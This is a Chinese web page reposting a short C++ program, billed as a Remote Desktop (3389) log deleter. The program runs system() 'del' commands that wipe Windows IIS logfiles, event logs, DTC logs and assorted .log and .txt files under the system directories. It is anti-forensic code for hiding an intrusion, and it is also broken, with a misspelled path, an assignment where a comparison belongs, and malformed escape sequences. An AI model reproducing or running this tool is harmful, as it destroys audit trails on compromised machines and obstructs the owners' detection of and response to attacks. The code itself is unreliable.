卡饭网 > 其他 > 正文

C++实现日志清理代码

来源:本站整理 作者:梦在深巷 时间:2013-08-03 16:31:35

#include<stdio.h>
#include<string.h>
#include <stdlib.h>
void main()
{
char a[40]="del C:/winnt/system32/logfiles/*.*";
char b[40]="del C:/winnt/ssytem32/config/*.evt";
char c[36]="del C:/winnt/system32/dtclog/*.* ";
char d[36]="del C:/winnt/system32/*.log";
char e[36]="del C:/winnt/system32/*.txt";
char f[36]="del C:/winnt/*.txt ";
char g[36]="del C:/winnt/*.log";

char a1[40]="del C:/windows/system32/logfiles/*.*";
char b1[40]="del C:/windows/ssytem32/config/*.evt";
char c1[36]="del C:/windows/system32/dtclog/*.* ";
char d1[36]="del C:/windows/system32/*.log";
char e1[36]="del C:/windows/system32/*.txt";
char f1[36]="del C:/windows/*.txt ";
char g1[36]="del C:/windows/*.log";

int i;

printf("/t/t/t3389日志删除器/n/t/t/t/t/twrite by willson QQ:360928283/n/n");
printf("/t/t我的空间是:http://hi.baidu.com/willweiwei/n");
printf("/t/t/thttp://www.rootkit.org.cn/n/n/n");
printf("请输入您的操作系统名。如果是windows2000,请输入1!/n如果是windows2003或xp,请输入其他任意键/n请输入操作系统:");
scanf("%d",&i);
if(i=1)
{
system(a);system(b);system(c);system(d);system(e);system(f);system(g);
}
else
{
system(a1);system(b1);system(c1);system(d1);system(e1);system(f1);system(g1);
}
}

相关推荐